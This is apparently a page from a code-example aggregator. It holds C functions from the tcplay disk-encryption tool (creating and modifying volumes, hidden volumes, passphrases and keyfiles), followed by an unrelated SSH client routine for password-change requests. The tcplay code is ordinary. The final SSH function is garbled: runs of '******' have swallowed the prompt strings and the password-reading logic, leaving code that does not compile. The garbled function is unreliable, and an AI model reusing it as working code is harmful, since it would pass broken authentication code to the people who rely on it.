			if (hehdr) {
				free_safe_mem(hehdr);
				hehdr = NULL;
			}

			try_empty = 0;
			continue;
		}

		if (opts->protect_hidden) {
			if (adjust_info(info, hinfo) != 0) {
				tc_log(1, "Could not protect hidden volume\n");
				if (info)
					free_info(info);
				info = NULL;

				if (hinfo)
					free_info(hinfo);
				hinfo = NULL;

				goto out;
			}

			if (hinfo) {
				free_info(hinfo);
				hinfo = NULL;
			}
		}
		try_empty = 0;
        }

out:
	if (hinfo)
		free_info(hinfo);
	if (pass)
		free_safe_mem(pass);
	if (h_pass)
		free_safe_mem(h_pass);
	if (ehdr)
		free_safe_mem(ehdr);
	if (hehdr)
		free_safe_mem(hehdr);

	if (info != NULL)
		info->hidden = is_hidden;

	return info;
}
Пример #13
0
int
create_volume(struct tcplay_opts *opts)
{
	char *pass, *pass_again;
	char *h_pass = NULL;
	char buf[1024];
	disksz_t blocks, hidden_blocks = 0;
	size_t blksz;
	struct tchdr_enc *ehdr, *hehdr;
	struct tchdr_enc *ehdr_backup, *hehdr_backup;
	uint64_t tmp;
	int error, r, ret;

	pass = h_pass = pass_again = NULL;
	ehdr = hehdr = NULL;
	ehdr_backup = hehdr_backup = NULL;
	ret = -1; /* Default to returning error */

	if (opts->cipher_chain == NULL)
		opts->cipher_chain = tc_cipher_chains[0];
	if (opts->prf_algo == NULL)
		opts->prf_algo = &pbkdf_prf_algos[0];
	if (opts->h_cipher_chain == NULL)
		opts->h_cipher_chain = opts->cipher_chain;
	if (opts->h_prf_algo == NULL)
		opts->h_prf_algo = opts->prf_algo;

	if ((error = get_disk_info(opts->dev, &blocks, &blksz)) != 0) {
		tc_log(1, "could not get disk info\n");
		return -1;
	}

	if ((blocks*blksz) <= MIN_VOL_BYTES) {
		tc_log(1, "Cannot create volumes on devices with less "
		    "than %d bytes\n", MIN_VOL_BYTES);
		return -1;
	}

	if (opts->interactive) {
		if (((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) ||
		   ((pass_again = alloc_safe_mem(PASS_BUFSZ)) == NULL)) {
			tc_log(1, "could not allocate safe passphrase memory\n");
			goto out;
		}

		if ((error = read_passphrase("Passphrase: ", pass, MAX_PASSSZ,
		    PASS_BUFSZ, 0) ||
		    (read_passphrase("Repeat passphrase: ", pass_again,
		    MAX_PASSSZ, PASS_BUFSZ, 0)))) {
			tc_log(1, "could not read passphrase\n");
			goto out;
		}

		if (strcmp(pass, pass_again) != 0) {
			tc_log(1, "Passphrases don't match\n");
			goto out;
		}

		free_safe_mem(pass_again);
		pass_again = NULL;
	} else {
		/* In batch mode, use provided passphrase */
		if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) {
			tc_log(1, "could not allocate safe "
			    "passphrase memory");
			goto out;
		}

		if (opts->passphrase != NULL) {
			strncpy(pass, opts->passphrase, MAX_PASSSZ);
			pass[MAX_PASSSZ] = '\0';
		}
	}

	if (opts->nkeyfiles > 0) {
		/* Apply keyfiles to 'pass' */
		if ((error = apply_keyfiles((unsigned char *)pass, PASS_BUFSZ,
		    opts->keyfiles, opts->nkeyfiles))) {
			tc_log(1, "could not apply keyfiles\n");
			goto out;
		}
	}

	if (opts->hidden) {
		if (opts->interactive) {
			if (((h_pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) ||
			   ((pass_again = alloc_safe_mem(PASS_BUFSZ)) == NULL)) {
				tc_log(1, "could not allocate safe "
				    "passphrase memory\n");
				goto out;
			}

			if ((error = read_passphrase("Passphrase for hidden volume: ",
			   h_pass, MAX_PASSSZ, PASS_BUFSZ, 0) ||
			   (read_passphrase("Repeat passphrase: ", pass_again,
			   MAX_PASSSZ, PASS_BUFSZ, 0)))) {
				tc_log(1, "could not read passphrase\n");
				goto out;
			}

			if (strcmp(h_pass, pass_again) != 0) {
				tc_log(1, "Passphrases for hidden volume don't "
				    "match\n");
				goto out;
			}

			free_safe_mem(pass_again);
			pass_again = NULL;
		} else {
			/* In batch mode, use provided passphrase */
			if ((h_pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) {
				tc_log(1, "could not allocate safe "
				    "passphrase memory");
				goto out;
			}

			if (opts->h_passphrase != NULL) {
				strncpy(h_pass, opts->h_passphrase, MAX_PASSSZ);
				h_pass[MAX_PASSSZ] = '\0';
			}
		}

		if (opts->n_hkeyfiles > 0) {
			/* Apply keyfiles to 'h_pass' */
			if ((error = apply_keyfiles((unsigned char *)h_pass,
			    PASS_BUFSZ, opts->h_keyfiles, opts->n_hkeyfiles))) {
				tc_log(1, "could not apply keyfiles\n");
				goto out;
			}
		}

		if (opts->interactive) {
			hidden_blocks = 0;
		} else {
			hidden_blocks = opts->hidden_size_bytes/blksz;
			if (hidden_blocks == 0) {
				tc_log(1, "hidden_blocks to create volume "
				    "cannot be zero!\n");
				goto out;
			}

			if (opts->hidden_size_bytes >=
			    (blocks*blksz) - MIN_VOL_BYTES) {
				tc_log(1, "Hidden volume needs to be "
				    "smaller than the outer volume\n");
				goto out;
			}
		}

		/* This only happens in interactive mode */
		while (hidden_blocks == 0) {
			if ((r = _humanize_number(buf, sizeof(buf),
			    (uint64_t)(blocks * blksz))) < 0) {
				sprintf(buf, "%"DISKSZ_FMT" bytes", (blocks * blksz));
			}

			printf("The total volume size of %s is %s (bytes)\n", opts->dev, buf);
			memset(buf, 0, sizeof(buf));
			printf("Size of hidden volume (e.g. 127M):  ");
			fflush(stdout);

			if ((fgets(buf, sizeof(buf), stdin)) == NULL) {
				tc_log(1, "Could not read from stdin\n");
				goto out;
			}

			/* get rid of trailing newline */
			buf[strlen(buf)-1] = '\0';
			if ((error = _dehumanize_number(buf,
			    &tmp)) != 0) {
				tc_log(1, "Could not interpret input: %s\n", buf);
				continue;
			}

			if (tmp >= (blocks*blksz) - MIN_VOL_BYTES) {
				tc_log(1, "Hidden volume needs to be "
				    "smaller than the outer volume\n");
				hidden_blocks = 0;
				continue;
			}

			hidden_blocks = (size_t)tmp;
			hidden_blocks /= blksz;
		}
	}

	if (opts->interactive) {
		/* Show summary and ask for confirmation */
		printf("Summary of actions:\n");
		if (opts->secure_erase)
			printf(" - Completely erase *EVERYTHING* on %s\n", opts->dev);
		printf(" - Create %svolume on %s\n", opts->hidden?("outer "):"", opts->dev);
		if (opts->hidden) {
			printf(" - Create hidden volume of %"DISKSZ_FMT" bytes at end of "
			    "outer volume\n",
			    hidden_blocks * blksz);
		}

		printf("\n Are you sure you want to proceed? (y/n) ");
		fflush(stdout);
		if ((fgets(buf, sizeof(buf), stdin)) == NULL) {
			tc_log(1, "Could not read from stdin\n");
			goto out;
		}

		if ((buf[0] != 'y') && (buf[0] != 'Y')) {
			tc_log(1, "User cancelled action(s)\n");
			goto out;
		}
	}

	/* erase volume */
	if (opts->secure_erase) {
		tc_log(0, "Securely erasing the volume...\nThis process may take "
		    "some time depending on the size of the volume\n");

		if (opts->state_change_fn)
			opts->state_change_fn(opts->api_ctx, "secure_erase", 1);

		if ((error = secure_erase(opts->dev, blocks * blksz, blksz)) != 0) {
			tc_log(1, "could not securely erase device %s\n", opts->dev);
			goto out;
		}

		if (opts->state_change_fn)
			opts->state_change_fn(opts->api_ctx, "secure_erase", 0);
	}

	tc_log(0, "Creating volume headers...\nDepending on your system, this "
	    "process may take a few minutes as it uses true random data which "
	    "might take a while to refill\n");

	if (opts->weak_keys_and_salt) {
		tc_log(0, "WARNING: Using a weak random generator to get "
		    "entropy for the key material. Odds are this is NOT "
		    "what you want.\n");
	}

	if (opts->state_change_fn)
		opts->state_change_fn(opts->api_ctx, "create_header", 1);

	/* create encrypted headers */
	ehdr = create_hdr((unsigned char *)pass,
	    (opts->nkeyfiles > 0)?MAX_PASSSZ:strlen(pass),
	    opts->prf_algo, opts->cipher_chain, blksz, blocks, VOL_RSVD_BYTES_START/blksz,
	    blocks - (MIN_VOL_BYTES/blksz), 0, opts->weak_keys_and_salt, &ehdr_backup);
	if (ehdr == NULL) {
		tc_log(1, "Could not create header\n");
		goto out;
	}

	if (opts->hidden) {
		hehdr = create_hdr((unsigned char *)h_pass,
		    (opts->n_hkeyfiles > 0)?MAX_PASSSZ:strlen(h_pass), opts->h_prf_algo,
		    opts->h_cipher_chain,
		    blksz, blocks,
		    blocks - (VOL_RSVD_BYTES_END/blksz) - hidden_blocks,
		    hidden_blocks, 1, opts->weak_keys_and_salt, &hehdr_backup);
		if (hehdr == NULL) {
			tc_log(1, "Could not create hidden volume header\n");
			goto out;
		}
	}

	if (opts->state_change_fn)
		opts->state_change_fn(opts->api_ctx, "create_header", 0);

	tc_log(0, "Writing volume headers to disk...\n");

	if ((error = write_to_disk(opts->dev, 0, blksz, ehdr, sizeof(*ehdr))) != 0) {
		tc_log(1, "Could not write volume header to device\n");
		goto out;
	}

	/* Write backup header; it's offset is relative to the end */
	if ((error = write_to_disk(opts->dev, (blocks*blksz - BACKUP_HDR_OFFSET_END),
	    blksz, ehdr_backup, sizeof(*ehdr_backup))) != 0) {
		tc_log(1, "Could not write backup volume header to device\n");
		goto out;
	}

	if (opts->hidden) {
		if ((error = write_to_disk(opts->dev, HDR_OFFSET_HIDDEN, blksz, hehdr,
		    sizeof(*hehdr))) != 0) {
			tc_log(1, "Could not write hidden volume header to "
			    "device\n");
			goto out;
		}

		/* Write backup hidden header; offset is relative to end */
		if ((error = write_to_disk(opts->dev,
		    (blocks*blksz - BACKUP_HDR_HIDDEN_OFFSET_END), blksz,
		    hehdr_backup, sizeof(*hehdr_backup))) != 0) {
			tc_log(1, "Could not write backup hidden volume "
			    "header to device\n");
			goto out;
		}
	}

	/* Everything went ok */
	tc_log(0, "All done!\n");

	ret = 0;

out:
	if (pass)
		free_safe_mem(pass);
	if (h_pass)
		free_safe_mem(h_pass);
	if (pass_again)
		free_safe_mem(pass_again);
	if (ehdr)
		free_safe_mem(ehdr);
	if (hehdr)
		free_safe_mem(hehdr);
	if (ehdr_backup)
		free_safe_mem(ehdr_backup);
	if (hehdr_backup)
		free_safe_mem(hehdr_backup);

	return ret;
}
Пример #14
0
int
modify_volume(struct tcplay_opts *opts)
{
	struct tcplay_info *info;
	struct tchdr_enc *ehdr, *ehdr_backup;
	const char *new_passphrase = opts->new_passphrase;
	const char **new_keyfiles = opts->new_keyfiles;
	struct pbkdf_prf_algo *new_prf_algo = opts->new_prf_algo;
	int n_newkeyfiles = opts->n_newkeyfiles;
	char *pass, *pass_again;
	int ret = -1;
	off_t offset, offset_backup = 0;
	const char *dev;
	size_t blksz;
	disksz_t blocks;
	int error;

	ehdr = ehdr_backup = NULL;
	pass = pass_again = NULL;
	info = NULL;

	if (TC_FLAG_SET(opts->flags, ONLY_RESTORE)) {
		if (opts->interactive) {
			if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) {
				tc_log(1, "could not allocate safe "
				    "passphrase memory");
				goto out;
			}
		} else {
			new_passphrase = opts->passphrase;
		}
		new_keyfiles = opts->keyfiles;
		n_newkeyfiles = opts->nkeyfiles;
		new_prf_algo = NULL;
	}

	info = info_map_common(opts, pass);
	if (info == NULL)
		goto out;

	if (opts->interactive && !TC_FLAG_SET(opts->flags, ONLY_RESTORE)) {
		if (((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) ||
		   ((pass_again = alloc_safe_mem(PASS_BUFSZ)) == NULL)) {
			tc_log(1, "could not allocate safe passphrase memory\n");
			goto out;
		}

		if ((error = read_passphrase("New passphrase: ", pass, MAX_PASSSZ,
		    PASS_BUFSZ, 0) ||
		    (read_passphrase("Repeat passphrase: ", pass_again,
		    MAX_PASSSZ, PASS_BUFSZ, 0)))) {
			tc_log(1, "could not read passphrase\n");
			goto out;
		}

		if (strcmp(pass, pass_again) != 0) {
			tc_log(1, "Passphrases don't match\n");
			goto out;
		}

		free_safe_mem(pass_again);
		pass_again = NULL;
	} else if (!opts->interactive) {
		/* In batch mode, use provided passphrase */
		if ((pass = alloc_safe_mem(PASS_BUFSZ)) == NULL) {
			tc_log(1, "could not allocate safe "
			    "passphrase memory");
			goto out;
		}

		if (new_passphrase != NULL) {
			strncpy(pass, new_passphrase, MAX_PASSSZ);
			pass[MAX_PASSSZ] = '\0';
		}
	}

	if (n_newkeyfiles > 0) {
		/* Apply keyfiles to 'pass' */
		if ((error = apply_keyfiles((unsigned char *)pass, PASS_BUFSZ,
		    new_keyfiles, n_newkeyfiles))) {
			tc_log(1, "could not apply keyfiles\n");
			goto out;
		}
	}

	ehdr = copy_reencrypt_hdr((unsigned char *)pass,
	    (opts->n_newkeyfiles > 0)?MAX_PASSSZ:strlen(pass),
	    new_prf_algo, opts->weak_keys_and_salt, info, &ehdr_backup);
	if (ehdr == NULL) {
		tc_log(1, "Could not create header\n");
		goto out;
	}

	dev = (TC_FLAG_SET(opts->flags, SYS)) ? opts->sys_dev : opts->dev;
	if (TC_FLAG_SET(opts->flags, SYS) || TC_FLAG_SET(opts->flags, FDE)) {
		/* SYS and FDE don't have backup headers (as far as I understand) */
		if (info->hidden) {
			offset = HDR_OFFSET_HIDDEN;
		} else {
			offset = HDR_OFFSET_SYS;
		}
	} else {
		if (info->hidden) {
			offset = HDR_OFFSET_HIDDEN;
			offset_backup = -BACKUP_HDR_HIDDEN_OFFSET_END;
		} else {
			offset = 0;
			offset_backup = -BACKUP_HDR_OFFSET_END;
		}
	}

	if ((error = get_disk_info(dev, &blocks, &blksz)) != 0) {
		tc_log(1, "could not get disk information\n");
		goto out;
	}

	tc_log(0, "Writing new volume headers to disk/file...\n");

	if (TC_FLAG_SET(opts->flags, SAVE_TO_FILE)) {
		if ((error = write_to_file(opts->hdr_file_out, ehdr, sizeof(*ehdr))) != 0) {
			tc_log(1, "Could not write volume header to file\n");
			goto out;
		}
	} else {
		if ((error = write_to_disk(dev, offset, blksz, ehdr,
		    sizeof(*ehdr))) != 0) {
			tc_log(1, "Could not write volume header to device\n");
			goto out;
		}

		if (!TC_FLAG_SET(opts->flags, SYS) && !TC_FLAG_SET(opts->flags, FDE)) {
			if ((error = write_to_disk(dev, offset_backup, blksz,
			    ehdr_backup, sizeof(*ehdr_backup))) != 0) {
				tc_log(1, "Could not write backup volume header to device\n");
				goto out;
			}
		}
	}

	/* Everything went ok */
	tc_log(0, "All done!\n");

	ret = 0;

out:
	if (pass)
		free_safe_mem(pass);
	if (pass_again)
		free_safe_mem(pass_again);
	if (ehdr)
		free_safe_mem(ehdr);
	if (ehdr_backup)
		free_safe_mem(ehdr_backup);
	if (info)
		free_safe_mem(info);

	return ret;
}
Пример #15
0
/*
 * parse PASSWD_CHANGEREQ, prompt user and send SSH2_MSG_USERAUTH_REQUEST
 */
void
input_userauth_passwd_changereq(int type, u_int32_t seqnr, void *ctxt)
{
	Authctxt *authctxt = ctxt;
	char *info, *lang, *password = NULL, *retype = NULL;
	char prompt[150];

	debug2("input_userauth_passwd_changereq");

	if (authctxt == NULL)
		fatal("input_userauth_passwd_changereq: "
		    "no authentication context");

	info = packet_get_utf8_string(NULL);
	if (strlen(info) != 0) {
		info = g11n_filter_string(info);
		log("%s", info);
	}
	xfree(info);
	lang = packet_get_string(NULL);
	xfree(lang);

	packet_start(SSH2_MSG_USERAUTH_REQUEST);
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(1);			/* additional info */
	snprintf(prompt, sizeof(prompt),
	    gettext("Enter %.30s@%.128s's old password: "******"Enter %.30s@%.128s's new password: "******"Retype %.30s@%.128s's new password: "******"Mismatch; try again, EOF to quit.");
			password = NULL;
		}
		memset(retype, 0, strlen(retype));
		xfree(retype);
	}
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);
}